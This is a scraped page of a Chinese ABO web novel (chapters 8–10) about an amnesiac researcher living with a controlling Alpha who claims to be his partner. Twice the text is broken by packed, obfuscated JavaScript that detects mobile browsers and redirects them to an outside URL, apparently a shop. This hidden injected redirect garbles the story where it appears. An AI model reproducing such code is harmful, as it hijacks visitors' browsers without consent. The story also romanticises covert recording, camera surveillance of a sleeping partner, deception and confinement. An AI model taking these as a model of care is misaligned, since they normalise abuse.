虽然医院人多,此时黎白榆身上Alpha的信息素味道被冲淡了一点,没有刚来的时候那么有攻击性了。 但站得近了,依然可以清晰闻到。 一般来说,哪怕是再张扬的Alpha,也不会太过肆无忌惮地随意外放。 因为信息素也是有限的,就算Alpha精力比较旺盛,也不可能支撑得住源源不断的释放。 没多久,就得连人带肾都给累趴下了。 尤其是浓度越高,腺体能支撑的时间也就会越短。 但黎白榆身上所沾染的Alpha信息素,却招摇到简直像是花孔雀开屏。 而且Beta是无法被标记的,要想在他身上留下这么明显的气息,可想而知——那信息素的浓度要高到多么离谱。 黎白榆倒没有多想:“可能是因为这两天我住在他家吧。” 他回想起自己昨天看过的体检册,想到严野客的综合评分优于97%的同龄Alpha,就觉得信息素味道会明显一点也正常。 毕竟普遍而论,身体素质强的Alpha,信息素浓度也会更高。 “或许吧。” 麻医生勉强相信了一下。 也可能是见男朋友病愈了,心情好。 ——虽然麻医生还是觉得这种浓度有点蹊跷。 简直像是求偶标记一样。 要不是今天见到黎白榆的精神不错,麻医生都要怀疑那个Alpha是不是没遵医嘱。 直接回去就干柴烈火,昏天黑地了。 黎白榆又解释了一句。 “我目前的一部分研究课题和信息素有关,在实验室会有科研专用的监测手环。” 需要的时候他一定会提前佩戴。 平时生活中就没太多必要了。 麻医生愣了下。 直到黎白榆和他示意后离开,麻医生还看着Beta的背影,忍不住摸了摸下巴。 看来这位病人完全不受AO信息素的影响。 他自己的研究却在影响着A和O啊。 *** 从医院出来,黎白榆又打了出租回去。 因为之前车祸的缘故,他也没再考虑网约车。 到家下车,黎白榆站在路边,又看了一圈周围的草丛。 只是他并没有看到早上那只白色的猫咪。 也不知道小猫跑去哪儿了。 黎白榆回身去开院门,他无意间一瞥,看到送自己回来的出租车没有立刻离开。 直到他进了庭院,关好门,过了一会儿,才听到汽车开走的声音。 黎白榆没太在意,只觉得对方可能是停车在接新单。 他还发觉,这辆和自己去的时候恰好是同一家出租车。 车里还有统一的公司Logo和标语,好像在粤城,这是规模最大的一家出租公司了。 看起来还是挺能让乘客安心的。 黎白榆走进屋内,把严野客拿给他的备用磁卡放回了玄关。 不出预料的,室内很安静,Alpha还没有回来。 毕竟海关离这边比较远。 黎白榆简单收拾了一下,一边还在想。 信息素失嗅的事,他已经基本确定自己失忆之前就知道,而且这的确对他没造成什么影响。 但黎白榆还有些疑惑。 那他是怎么会和严野客在一起的? 不说自己的性格会不会谈恋爱,就算真的要谈,应该也更可能会和Beta在一起。 而像严野客那样的Alpha,条件如此优越,信息素浓度有这么高……理应去找更适配的Omega才对。 黎白榆无意间抬手,揉了揉自己的鼻尖。 到现在,他甚至连严野客的信息素是什么气味都还不清楚。 这样的自己,对Alpha的状态都无法感知,更不可能做出回应。 那他们的关系……是怎么发展到现在的? 黎白榆苦思冥想了一会儿,没能回想起来,于是就回房拿出了平板。 ——开始看文献。 这倒不是黎白榆的灰心放弃,也不是因为失忆和情感丧失而生出的逃避。 只是因为他发觉,这些天来,自己的记忆就是沿着科研相关在复苏的。 比如那些实验期间的零散习惯。 黎白榆知道,人类大脑中的情景记忆和语义记忆,本身就没有被划分得那么界限清晰。 通过对语义记忆的复习,说不定可以唤醒相关的情景。 就像普通人在回忆一个知识点的时候,有时也会回想起自己当年学这一课时的场景和经历。 所以这几天,黎白榆时不时地就会翻看一些本专业的相关论文。 说不定他读文献的时候,就能多回想起来一点过去的经历。 这一读,时间就过得飞快。 直到严野客回来,黎白榆都还在看平板。 除此之外,Beta还恰好到了做雾化的时间。 他拿着一个小巧的雾化吸入器,微微垂眸,姣好的淡色唇廓正含着入口的透明咬杯。 因为喉咙还在发炎,黎白榆需要雾化。 上午医院的雾化机恰好在例行维护,当时只有两台能用,排队要等很久。 麻医生就给黎白榆开了一个小型的吸雾器,让他回家自己进行。 此时Beta正坐在窗边,淡淡的气雾在他的颊侧弥散。 映着那薄白的皮肤,清绝的眉目,更衬得美人清寒出尘。 宛若天边皎月,人世谪仙。 但看起来如此澄明霜冷、遥不可及的白月光,现下其实并不太开心。 好苦啊。 黎白榆又被苦得有点生无可恋。 走过来的Alpha似乎看出了他的情绪不高,等黎白榆雾化做得差不多,就沉声开口。 “上一餐补剂几点喝的?” 黎白榆拿开咬嘴,瞥了眼时间,残存着涩苦的湛清嗓音有点没精打采。 “两个小时之前。” 严野客又问:“雾化后多久可以进食?” 黎白榆:“半小时。” 说话时,他的唇瓣轻轻开合,带着被雾染过的柔软潮润。 身前的Alpha看了他几秒,低淡道。 “我去煮粥。” 黎白榆愣了下。 诶? 今天他本来要吃一天补剂,并没有额外的用餐计划。 黎白榆不好意思再给人添麻烦:“我喝冲剂就好,不用煮我的份了……” 严野客却问:“艇仔粥还是青菜粥?” 黎白榆下意识地脱口而出:“青菜。” 等他反应过来时,Alpha已经去厨房了。 “……” 黎白榆知道Alpha们都惯于强势,也知道有一种巧妙的话术,就是把“要不要”的询问,改成“要X还是要Y?”。 这样被问者就很容易去一心考虑X和Y的差异,直接默认了“要”这个问题。 但黎白榆之前只在试剂商那里见过这种问法,没想到严野客也会这样用。 ……还比人家的金牌销售更加泰然自若,且效果好得那么多。 黎白榆抓了抓自己的发尾,把雾化器和平板都收好,然后也跟着去了厨房。 因为没有太充足的久站精力,他是开着轮椅过去的。 这两天,黎白榆已经可以把这台电动轮椅开得很流畅了。 厨厅没有关门,黎白榆停在门边,看着不远处淘洗粥米的男人。 Alpha背影笔挺,腰间系着一条纯色的围裙系带,身形被轻淡勾勒,更清晰展露出了男人的修长高挑、宽肩窄腰。 再结合昨天,黎白榆发现,对方好像进厨房也不会换家居服。 总是穿的,嗯……很帅? 不过,黎白榆的注意力下一秒就被吸引走了。 因为他看到了从冷鲜室内拿出的时蔬。 是菜心。 黎白榆爱吃菜心,喜欢那种嫩嫩甜甜的清香口感。 而眼前的这把菜心青翠欲滴,一看就非常新鲜。 长得远比帅哥更加迷人,瞬间就俘获了黎白榆的视线。 好靓…… 简直是他的梦中情蔬。 黎白榆盯着鲜嫩的菜心垂涎了一会儿,直到严野客看过来,他才有些不好意思地收敛了一下。 “我失忆之前,吃过你做的饭吗?”黎白榆有点好奇。 他暂时还没有回忆起相关。 “吃过。” 严野客抽了刀,开始切菜心。 “在一起后经常。” 黎白榆思索。 想努力回忆起其中一次。 但似乎并没有成功。 “你忙,平时都在实验室,”严野客垂眸落刀,“休息很少。” Alpha说得平静而坦然,寻不到一分可能拆穿的破绽。 说休息很少的时候,这话还让黎白榆生出了一点愧疚。 他觉得在失忆之前,自己陪对方一起的时间可能也不算多。 “那……”Beta又轻声问,“你知道我患有信息素失嗅的事吗?” 严野客理菜的动作停都没停一下。 “提前叫你去复查,是因为这个?” 男人果然早就知道。 “脑神经检查时我问过值班医生,他们说会做全套的神经系统体格检查,就没有额外记录。” 黎白榆怔了怔。 没想到在他不知情的时候,对方还帮他做过更多。 “这件事……”他更想问了,“你不介意吗?” 严野客:“?” “我为什么介意?” 男人的声音漠然沉淡。 “Alpha也不全凭激素操纵大脑。” 黎白榆知道,有些Alpha会讨厌被信息素控制的感觉。 似乎眼前这位,就正属于这一种。 他还知道这种人其实很少,许多Alpha会以性别为傲,享受用信息素压制别人的高高在上感。 严野客在同龄Alpha中如此出挑,看起来却对此毫无兴趣,冷静到不屑。 只是黎白榆还是没能回想起来最关键的那个问题。 “那我们两个……当初为什么会在一起?” 严野客刚将菜丁装盘,闻言抬头,睄了黎白榆一眼。 有一瞬间,Beta忽然错觉自己好似被什么冰冷的竖瞳盯锁住了一般。 不知道为什么,他还突然回想起了清早那只炸毛跑走的小白猫。 但这只是极短暂的一刹那,等黎白榆细看时,就见男人淡泊如常,并没有展露出什么过于摄人的压迫感。 严野客的声线也沉稳依然。 “我希望这件事可以被你自己回想起来。” 这话让黎白榆怔了怔。 不过以Alpha的性格,他会这样说,似乎也没怎么让人感到意外。 黎白榆点了下头:“好。” “今天有没有回想起什么?” 严野客淡淡道。 两人又聊了几句医院复查的情况,忽然地,黎白榆听到自己的手机响了。 他出去接电话,顺便把自己开来的轮椅给推走了。 电话是北美的联系人打来的,备注写着关茴。 一接通,对面就传来了一个清越的女声。 “白榆,你的手机丢了?” 关茴是黎白榆的两位博士导师之一。 她算是黎白榆的小导,虽说是小老板,但其实和黎白榆的大导并没有直接的上下隶属关系。 在学校官网里面,黎白榆的导师信息栏中,两位博导也是平行排序。 只是因为关茴的年纪轻,资历稍浅,而且黎白榆跟大导的时间更早,为了区分,才会习惯性地这么讲。 关茴还是华裔,不像外籍教授们那种生活和工作完全区分开的性格,说话时,和黎白榆的沟通也会更亲近一些。 “前两天忙晕了,刚刚才看到朋友圈,没出什么事吧?” “没有。”黎白榆轻声答,“我没事,老师。” 他没有提自己失忆的事,一方面是因为他的性格本就不习惯倾诉,另一方面,黎白榆这些天也已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你在家就好好休假吧。” 对这篇主刊投稿,关茴同样非常看重。 虽说她的期刊成果也能算斐然,但这回毕竟是Nature主刊。 不像黎白榆的大导那样,在全球三大顶刊CNS发文像喝水——他的大老板是个六十岁的北美胖老头,十年前就拿过诺奖。 关茴虽然也在Cell(《细胞》)和Science(《科学》)上有过见刊,但这还是她第一次带组立项,被Nature(《自然》)正式接收。 况且这还是主刊级成果,影响因子69.5,远比子刊要高得多。 所以对黎白榆这个提出了最初idea、又完成了核心工作量的最大功臣,关茴自然会重视关心。 这么一位天才学生,到谁那里都是捧在掌心里的宝贝。 “对了,”关茴又问,“严野客在吗?” “……?” 黎白榆怔然,没想到会突然从导师那儿听到这个名字。 “他在你这儿吗?”关茴却问得非常自然。 “在,”黎白榆仍有疑惑,斟酌问,“您找他?” “我不找他,我找他干什么?”关茴笑道,“知道他陪着你我就放心了。” 黎白榆听得更愣了一下。 他迟疑道:“您……知道我们在一起?” “知道呀,还是你和我说的。” 关茴语气很轻快,毫无意外。 “有他在就好,你在家好好放松,养养胃,努力吃胖点。” 直到两人聊完挂了电话,黎白榆心中仍有讶异。 “怎么了?” 厨厅里的严野客走了出来。 黎白榆回神,说自己接到了导师打来的电话。 犹豫了一下,青年说:“她还问……你在不在。” 严野客“嗯”了声,神色完全没有意外。 黎白榆却疑惑:“老师知道我们的关系?” 严野客波澜未惊:“知道。” 黎白榆蹙眉,更有些不解。 这时,他又听到Alpha说:“你好像很信任这位导师。” 即使失忆了,青年也没有怀疑两人过往的关系,没担心这位老师是否真正友善。 黎白榆倒是直接点了点头,承认了。 “我今天看了关老师的论文。” 他之前就在校内官网确认了自己的导师信息,今天又在文献库中,把关茴的论文从她直博期间起,一路至今看了过来。 “看完就觉得,当初应该是我自己选了她做导师。” 对学术人来说,文章有的时候是比自我介绍,还要更真切全面的本人呈现。 从研究思路、论证梳理、分析逻辑,都能读出太多东西。 黎白榆确实挺喜欢这位老师的。 “……” 但听他说完的严野客沉默着,神情却有些高深莫测。 诶…… 黎白榆后知后觉地反应过来。 他已经回忆起了自己的导师,却依然没能想起这位男朋友。 “我也搜了几篇你的论文,”青年试图解释,“但是……没能看懂,不好意思……” 说实话,在金融或是量化投资方面,黎白榆的确是一窍不通。 而且他知道金融专业原本也是更重实操,和科研学术的方向并不一样。 “没有。” 男人面无表情,打断了他。 “我只是在想,现在能不能跨专业去读个生物phd。” Beta自己或许并没意识到,每次他读专业文献时,心情都会很好。 但这种“很好”并没有发生在严野客的身上。 因为说得太冷肃,Alpha的话听起来甚至不像开玩笑。 不过,回答他的人确实很认真。 “无基础跨学科到生物,可能会有点难度。” 黎白榆说。 “不过你可以等等,等我申请教职,升了博导,你还想念的话,我可以带你读博。” 严野客凝视着他,盯了足足三秒,忽然道。 “再说一遍。” “?” 黎白榆颊边冒了个圆圆的问号,还是很认真地重复了一遍。 等他说完,严野客才抬手,亮了一下手机屏幕。 “录下来了。”Alpha说。 黎白榆意外,又有些失笑。 浅澈的笑意从他清凌凌的眼睛里泛开潋滟。 “言必信。” “嗯。” 严野客淡然起身。 “我去给黎老师煲粥。” 黎白榆看着Alpha离开的背影,笑意未褪。 转瞬,他又若有所思。 黎白榆是当真对自己的那位导师印象不错,而且这次投稿的主刊论文,第一作者就黎白榆一个人,关茴挂的是通讯,其余署名人员都按工作量依次排序。 也完全没有被拿去做什么人情,额外强塞共同一作。 因此对关茴的话,黎白榆自然会有一种信任。 他更清楚自己的性格。 而如此不爱倾诉的他,却会主动公开恋情,告诉别人自己和严野客在一起,甚至让导师都觉得对方如此可靠—— 或许,这只能意味着一件事。 黎白榆微微垂眸,指尖摩挲了一下手机边侧。 他终于有了一点实感。 过去的自己…… 可能真的爱上了这个Alpha。 *** 厨厅。 厅门关闭,隔绝了与客厅的互通。 严野客长指微动,先把刚刚的录音保存了。 文件存储完毕,却又被拷贝了一份,复制进了一个加密文件夹里。 加密文件夹藏得很深,甚至是存在于手机的另一个系统中。 而在文件夹内,此时却已经存有了不止一条录音。 文件多到甚至超出了整屏。 所有的内容皆被加密隐藏,全部带有着同一个最高优先级的标签—— “Li”。 将加密文件夹隐去,严野客古井无波,又调出了通讯录。 他找出一个号码,修改了其原始备注。 于是系统自动检测,瞬间将与之关联的所有账号备注全部修改。 ——从原本的“小姨”两个字。 改成了“关茴教授”。 9. 第 9 章 009 喝完清香软糯的青菜粥,黎白榆又看了一会儿文献,就早早吃药去睡了。 他今天出门跑了半天,又在养病,自然需要多休息。 夜色已深,独栋小楼中的另一个房间内,灯却还一直亮着。 严野客坐在桌旁,正在处理今天的文件。 偌大的书桌上摆了不止一台电脑,笔记本放在严野客的手边,一旁还有一台32寸的竖屏显示器。 巨大的显示屏此时开着,屏幕却完全是黑的。 没有影像,似乎也没有声音。 但在这样的寂静之中,严野客连着耳机,反而不像白天工作时那样只戴单侧。 他的两只蓝牙耳机都戴着。 笔记本上的指数花花绿绿,瞬时多变。 严野客的操作却很少,只极偶尔地,才会有几下简短地点按。 放在一旁的手机忽然震动,屏幕亮起,显示有来电。 Alpha还看着电脑,如若未闻。 直到几秒之后,他按下最后一次操作,才终于分出一毫注意,朝手机瞥了一眼。 来电仍在锲而不舍地坚持着,严野客这时才抬手。 他明明带着耳机,却没有直接连上通话,反而摘下了其中一侧,用手机听筒接了起来。 电话一接通,就响起了一个张扬诧异的年轻男声。 “你飞粤城给人做饭去了?真的假的?” 严野客冷淡:“有事?” “大哥你是不是冷脸太久冷出问题了,现在这么大的行情都能没动静??我老头都逼着我下场了,你跑去粤城挑什么菜心——” 严野客直接把电话挂了。 他不喜欢听废话。 只过了两秒,电话又打了过来。 这次对面很识趣地学会收敛了:“别挂别挂,我长话短说!” “大哥救命,真的,十万火急!老头直接给我下目标了,我搞不赢啊。给点专家指导行不行?不用你那种指数级别的净盈利,能翻倍就成!” 陈尊明语速飞快,晓之以理动之以自家厨师。 “你帮我一把,别说主宅的煲汤师傅了,我把西点师都打包给你送过去!哎对这个西点师傅也是粤城越秀区的,家里和煲汤师傅一样,都在越秀区开了三十多年的老字号了——” “西点不用。”严野客漠淡打断。 “他不爱吃。” “……” 陈尊明倒吸一口凉气。 “所以你真的放着这么大的走势盘不搞,跑去亲手给人买菜做饭了??!” 他觉得这个世界可能是真的疯了。 “不是,为什么不雇人做啊?大哥什么样的厨师你请不来,西王母的蟠桃宴都能给你一天整三回吧?” 陈尊明实在难以理解。 “就算你只想要粤城的厨子,在越秀区那条街上开过店的老手也那么多呢,干嘛非得自己做?” “不行。” 严野客平静否决。 “要我自己亲手做,才能养出让他忘不掉的契合口味。” 陈尊明:“……” 陈尊明:“………………” 不怪这个世界。 原来真疯的是这位大哥。 有时候真的很无助。 陈尊明崩溃地想。 都说严大少那个神经病弟弟是个变态,但他看来,明明这位才是真阎王。 “那个……野哥。” 陈尊明忍不住小心翼翼地多问了一句。 “你最近情绪状态还好吧?” 怎么感觉,这控制欲,好像还更严重了……? “嗯。” 但电话这边,严野客却答得安然。 “稳定多了。” 陈尊明:“……” 原来不是发作……感情这还是在治病呢? 通话中传入了一点很轻微的声响,似乎是严野客旁边生出了什么动静。 没等陈尊明细听辨认,他就直接听到了“嘟嘟”的忙音。 ——电话还是被严大少挂断了。 “哎!我的专家指导!!” 陈尊明发出一声惨叫,简直欲哭无泪。 就在他万念俱灰的心碎时刻,忽然又听到了消息提示。 信息是严野客发来的,对方发来了三串数字,紧接着还有一条。 【六小时后重仓,三支任选。北美后天停盘前,全抛。】 陈尊明都给看愣了,过几秒才终于反应过来。 这是大后天有空头发力? 我靠! 陈尊明突然意识到了什么,最近行情不会也有大哥的手笔吧? 他下意识地一搜,发现几笔关键的动向,果然都和眼熟的基金名字有关。 所以严大少根本不是无动于衷。 是一边操盘一边还在炖汤做饭。 ——两边一起砍瓜切菜。 陈尊明赶紧去操作定投,一面又实在难抑心中的悲愤。 ……天杀的,跟你们这群脑子变态的天才拼了! - 而另一边,严野客挂了电话,重新又戴回了两只耳机。 聒噪的话音消失后,那阵轻微的声响更真切了一分。 “咳……” 低弱的轻咳在床被的掩覆下有些闷软,透过电波传递过来,更有一种拂人心尖的撩惹感。 宽大的显示屏分辨率极高,于是这时也终于让人看清,原来那一直黑色的屏幕,画面并不是静止的。 ——而是正对准着熄灯后的无光室内,摄录着那深深浅浅的暗色。 影绰微动的画面伴随着细碎的布料摩擦声响,似乎是床上的青年侧了侧身。 没多久,就再度安静下来。 轻咳过几声的Beta复又睡着了。 严野客听着从左右耳双声道里共同传入的轻浅呼吸声,神色淡漠,心情平和。 方才电话里,他回答的是实话。 最近这些天,情绪确实稳定多了。 *** 一夜安眠。因为昨晚睡得很早,第二天清晨,黎白榆起床时也还时间尚早。 他洗漱后想去喝水,就走出了客卧。 天色还没有亮起来,客厅内黑彻彻地安静着。黎白榆走到开关旁,顺手开了灯。 也是这时,他才听到不远处的楼梯上传来的声响。 黎白榆回头望去,却明显地愣了一下。 严野客穿着云灰色的修身运动衣,正从楼梯上走下来。 他一看就是刚刚健身完,肌理还处在充血状态,手臂和胸腹的线条非常清晰明显。 尤其男人的上衣贴身,肩膀和上臂三头肌形成阶梯状的抛线,和此时卓越的胸肌一样让人很难挪开眼。 但黎白榆的明显怔顿,并不单是因为眼前Alpha罕见扑面的野性悍然。 还因为对方的眼睛。 ——严野客没戴眼镜,而他那原本瞋黑色的眼眸,此时居然浮显着一双血似的红瞳。 怎么……? 青年还在讶异,就听到了Alpha漠然的声音。 “别开灯。” 黎白榆下意识地抬手,依言关灯。 一声轻响,室内重新昏暗了下来。 这时的落地窗外已经隐隐浮生出熹微的晨光,客厅内原本深浓的寂暗渐渐变得影影绰绰。 比起之前纯然的黑暗,此时的氛围却好像显得更暧昧沉暗了一分。 黎白榆静了一瞬,已经猜到了什么。 “你眼睛有伤?” 所以才不能见光。 如他所想,Alpha果然低“嗯”了一声。 脚步声未停,男人稳稳地从楼梯上走了下来,一路走到黎白榆的身边。 接着是橱柜抽屉被拉开的声响。 很近的距离中,黎白榆隐约看到严野客拿出一个盒子,打开,将什么东西戴在了眼睛上。 然后,男人才重新抬手,打开了灯。 视野再度明亮,黎白榆向Alpha拿出的那个小盒看去。 盒内此时已经空空如也,但从盒子的样式和余留的保存液,他还是认了出来。 这里面原本装着一副治疗性软角膜接触镜。 通俗点讲,就是医用的隐形眼镜。 黎白榆望向严野客,眼前的Alpha这时已经重新戴好了自己平日那副薄边的框架眼镜。 男人的双眸恢复了如渊的无光深墨。黎白榆也意识到,这是医用瞳片有颜色,所以才将Alpha的瞳膜遮覆成了纯黑色。 “是虹膜损伤?”黎白榆问。 他看到严野客的眸中血红并不在眼白部分,而是瞳孔变色。 “严重吗?” “还好。” 严野客淡声道。 “很早前受的伤,已经稳定了。” 男人长指轻动,把隐形盒重新盖好。 盒子正面的内容却再度吸引了黎白榆的视线。 青年不由有些意外。 因为盒上贴着的标签有手写标注。 而那清逸俊秀的字体,也显得过分熟悉。 ——那居然是黎白榆自己的笔迹。 许是察觉了Beta的视线,严野客直接望了过来。 “瞳片内侧有药物膜,起疗养作用。” 男人平静解释道。 “药剂是你帮我调配的。” Alpha放下那只空了的隐形镜片盒,走到旁边,伸手拉开了那里的柜门。 柜子里面放着一个插着电的药品恒温箱。箱门打开,同等样式的隐形眼镜盒,里面还整整齐齐地放着满满两大排。 黎白榆不禁道:“是日抛?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14148757|150256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他看到每个隐形盒上都有着同类的日期标签。 严野客:“嗯。” 黎白榆记得这种定制的医用瞳片价格很贵,除了药物要单独调配,此外,若想要瞳片适配,也需要依据使用者本人的眼瞳条件来定制。 严野客这些肯定是舒适度最高的一类,因为他的药物不是简单的液体浸泡,而是处理成膜,覆在瞳片的内侧。 这样能使得药物得到最大程度的吸收,而且每日药物的不同浓度,也可以让眼睛得到最恰当的轮换休息和治疗。 当然,单片的价格也会比本就奢侈的日抛更高。 黎白榆自然也认出,每张标签上的字迹都是自己写的。 ——确实是他帮严野客配的药,并且亲手整理好了每日所用。 简单查看过,黎白榆还顺手帮忙检查了一下存放隐形盒的四度恒温箱。 确认箱体的设置与运行、瞳片状况都没问题之后,他才又把恒温箱稳稳关好。 “所以你戴的不是近视镜?” 黎白榆抬眸,看向严野客的细丝镜框。 其实这点他之前也有察觉。 因为Alpha的镜片并没有透视变形,看着就更像是平光镜。 严野客果然应了:“隔风用。” 黎白榆了然。 眼睛有伤的人,会更需要避光避风。 他又问:“那你视物时会有模糊感吗?” 青年平时言语少有主动,但他对自己的药物售后很好,耐心周到。 Beta专注望看着面前的男人,那汪本就醉人的湛蓝,更容易使人坠海溺没。 “情况稳定的话不会。” 严野客说完,忽然抬起长指推了下镜架,侧身沉声。 “我去冲澡。” ? 黎白榆下意识地看了眼楼梯。 他忽然想起来一件事。 Alpha之前是在楼上健身,怎么还等到下楼才冲澡? 黎白榆也没多想,只以为是上面没有浴室,应了声“好”。 等严野客去了浴室,黎白榆也去给自己倒了杯水。 喝完水,Beta就回房换了身衣服。 此时天色已经明显地亮了起来,他准备出门转一转。 虽然黎白榆现在的状态还不可能去健身,但能出去呼吸一下新鲜空气也不错。 可以找找外面有没有小白猫的身影,看看清晨菜场里的新鲜蔬菜有多么诱人。 说不定还能看到些眼熟的风景,找回一点丢失的记忆。 黎白榆抱着尽量轻松的心态,不准备给自己太大压力。 因为Alpha还在冲澡,黎白榆就只用手机给人发了条消息,交代了一句自己在附近走走,很快回来。 收拾好准备出门时,黎白榆拉来了玄关的小储物柜,去拿自己昨日放回此处的门锁磁卡。 但意外的是,储物柜中空空如也。 磁卡不见了。 被放到别的地方了吗? 黎白榆怔了怔,又依次拉开了一下旁边几个能存放东西的小抽屉。 里面都没有磁卡的踪迹。 黎白榆不好再擅自翻动其他地方,这时就有些迟疑。 没磁卡的话,要怎么出去? 昨天严野客教过他,说因为这里之前做民宿的缘故,门锁系统做得比较严,必须用钥匙或者刷过磁卡才能出门。 黎白榆这时也发觉,不像其他人回家,会习惯性地把钥匙挂放在门边显眼的地方。 此时的玄关,也完全没有看到严野客自己的钥匙。 他正犹豫,这时忽然听到身后传来熟悉的低沉嗓音。 “你要出去?” 黎白榆回头,就看到了发丝湿漉,上身半裸的严野客。 这么短的时间,Alpha居然已经洗完澡出来了。 男人以指为梳,拢了下额前垂落的湿发,平静道。 “我陪你。” “不用,”黎白榆哪好意思再麻烦对方,“我就是随意走走,自己去就好。” 只是他的话才说完,就见Alpha举步走了过来。 因为洗澡的缘故,严野客的镜片又被摘去了。 他那毫无遮挡的俊挺眉眼,甚至比本就肃色的平日更多了一分威慑十足的锋锐冷厉。 待他停在黎白榆身前时,两人的距离已经不足一臂。 让人甚至能清晰感受到Alpha周身的冰冷水汽。 黎白榆微微一怔。 不知道是不是错觉,在得知Alpha正戴着瞳片,又眼见男人摘去眼镜之后。 这么近的距离中,黎白榆仿佛隐约已经能看到对方眼底翻涌的殷浓腥色。 “不行。” 男人的声线似乎比发尖的水意更为冰冷。 “你不可以单独出去。” 10. 第 10 章 010 黎白榆怔了一下,刚想问为什么,就见面前的男人忽然伸手,直接捏握住了他的腿根。 “……?” Beta瘦直的大腿,连同外侧浅浅凹出的腿窝都被对方宽大有力的手掌握住。 将原本清瘦的腿侧,都勒捏出了一抹软陷的肉感。 黎白榆不知道严野客按了哪里,只觉得突然腰眼微麻,腿根一酸,整个人都差点没站稳。 但他才刚有晃动,就被身前的Alpha牢紧地箍住了后腰,稳稳托扶住了。 “你现在体力不够。” 男人的语调依然很沉稳。 “单独外出,身体容易撑不住。” 黎白榆的眼眸微微睁圆,难掩意外。 对方好像对他的身体非常熟悉。 连黎白榆自己都不知道他的腿根这么敏.感。 也还没拿准自己体力的上限。 ——Alpha却这么清楚。 这就是健身的好处吗? 对身体的各个部位都能如此了如指掌。 黎白榆不由钦佩起来,看向对方的澈亮蓝眸都仿佛幻化出了一点晶闪闪的星星眼。 被这样看着的严野客:“……” Alpha刚刚已经适时收回了掐握在青年腿根的掌心,这时却好像又把圈箍在黎白榆腰际的手臂揽得更牢了一分。 黎白榆没有多想,只以为是对方还担心自己会站不稳。 他轻轻抬了下手,示意自己没事。这时也没再坚持。 “一起出去的话,会麻烦你吗?” 严野客低眸睄他一眼,直接道。 “等我五分钟。” 还裸着上身的Alpha转身回房,去换衣服,黎白榆望着他的背影,发现自己之前在厨房察觉的果然没错。 严野客的肩背肌理线条也非常优越。 真好啊。 黎白榆慨叹。 他要是有这肌肉,感觉能在实验室里连战三天。 方才两人站得很近,Alpha又没穿上衣,原本应该是个容易令人窘迫的过近距离。 但因为黎白榆的注意力都在严野客的眼睛上,他并没有过多分心。 也是直到这时,黎白榆才后知后觉地想。 对方身上冰凉凉的。 有点喜欢。 黎白榆一向不习惯和人接触靠得太近,除了性格使然,他也不太喜欢旁人靠近时那种源于体温的热燥感。 黎白榆自己的体温不算高,醒来病后体虚,还有些容易手脚发凉。 但他偏偏不喜欢过分烘暖的热源。 或许是自己的身体的确缺铁,总是有点贪凉嗜冰。 而黎白榆刚刚便察觉,严野客靠近时,周身都颇为薄凉霜冷。 给人的感觉就很清爽。 似乎一点也不像那些动不动就高温沸热的Alpha们。 这大概也是黎白榆方才被贴近,却没有生出不适的原因。 黎白榆推测对方应该是刚刚冲过冷水。 他记得洗冰水澡,对于缓解高强度运动后肌肉的乳酸堆积会很有效。 严野客的动作很快,他说五分钟,果然就五分钟后准时走到了门口。 连原本冷湿的黑发都不见了水珠。 两人出了门,此时天光已然亮起。 路旁树影碧绿,不时还有啁啾悦耳的鸟鸣声。 外面非常安静,就显得这些鸟鸣更为清晰。 就好像四周完全没有其他人居住一样。 黎白榆分心在留意那只小白猫,却始终没能寻到那抹瘦小的白色身影。 等他生出一点疑惑,为什么走了这么久还没看到路上有其他人的时候。 在正前方的街巷路口,恰好出现了一位身穿雪白太极服的卷发大姨。 大姨一看就精神很好,手里还拿着把锃亮反光的太极剑,一碰面,就笑起来。 “呦,小两口出来散步啦?” 黎白榆怔了怔,第一时间甚至没反应过来,对方是在和谁说话。 但大姨气血足,嗓门也亮,完全没可能有讲错人的误会。 “去吧去吧!年轻真好。” 黎白榆一直不太擅长应对陌生的交谈,就只轻轻点了下头。 他身旁的Alpha平日比他更冷,这时却也和大姨微一颔首,打了招呼。 倒是完全没有什么意外的表现。 既然见到了附近的住户,黎白榆就没再多想。 只是虽然他猜到这种老街巷肯定会有不少住户,却也没料到—— 两人才又走了两条街,就接连遇到了三拨这样的大爷大姨。 还都不约而同地夸他们小情侣感情真好。这么早出来散步,好健康,多般配。 黎白榆不由有些意外。 附近这么多人认识他们吗? 他斟酌了一下,还是向身旁的男人提起了这个疑惑。 老实说,黎白榆甚至完全不清楚为什么别人会觉得他们是一对。 明明两人的性别很清楚,是在年轻情侣里也根本不算常见的男性Beta和男性Alpha。 “之前住进来时,去分送过一些小礼物,”严野客淡然地给了解释,“从北美带回来的一些鱼油和坚果,上了年龄的街邻可能比较喜欢。” 所以才记住了他们两人? 黎白榆点了点头。 原来自己还做过这种事。 不过黎白榆之前也帮人从北美带过保健品和坚果,这时便没觉出什么异样。 他只有些好奇地抬头,看了看侧后方不远处的一位高个男人。 “那位也是邻居吗?”Beta问。 那人并没有和两人打照面,站得也和他们有些距离,看起来颇为高大机警,有着和这片老街略微不符的年轻。 “我们今天出来,好像已经和他见过两次了。” 黎白榆说。 严野客顺着他的话看了一眼,说:“那是菜场摊主的堂弟,附近三公里内可以上门送菜。” “所以你可能会不时遇见他。” 黎白榆点头:“这样。” 他又回头多看了一眼,觉得那人身材真是不错,不听严野客讲的话,还以为对方会是什么安保人员。 不过人家种果蔬的,可能重活做得多,肌肉自然就扎实些。 两人穿过了古朴素净的老街巷,顺着一条小河慢慢走。 在日头真正开始晒人之前,他们还找去到了一家开了很多年的老牌早餐店。 黎白榆其实有点想吃虾饺和红米肠,难得回国,他自然也想去尝尝粤城早茶。 但他的肠胃目前可能还消化不了油酥一类的东西,尤其外食的话,情况还更容易不可控。 好在严野客记得,附近有一家口碑很好的云吞面,两人便来了这边。 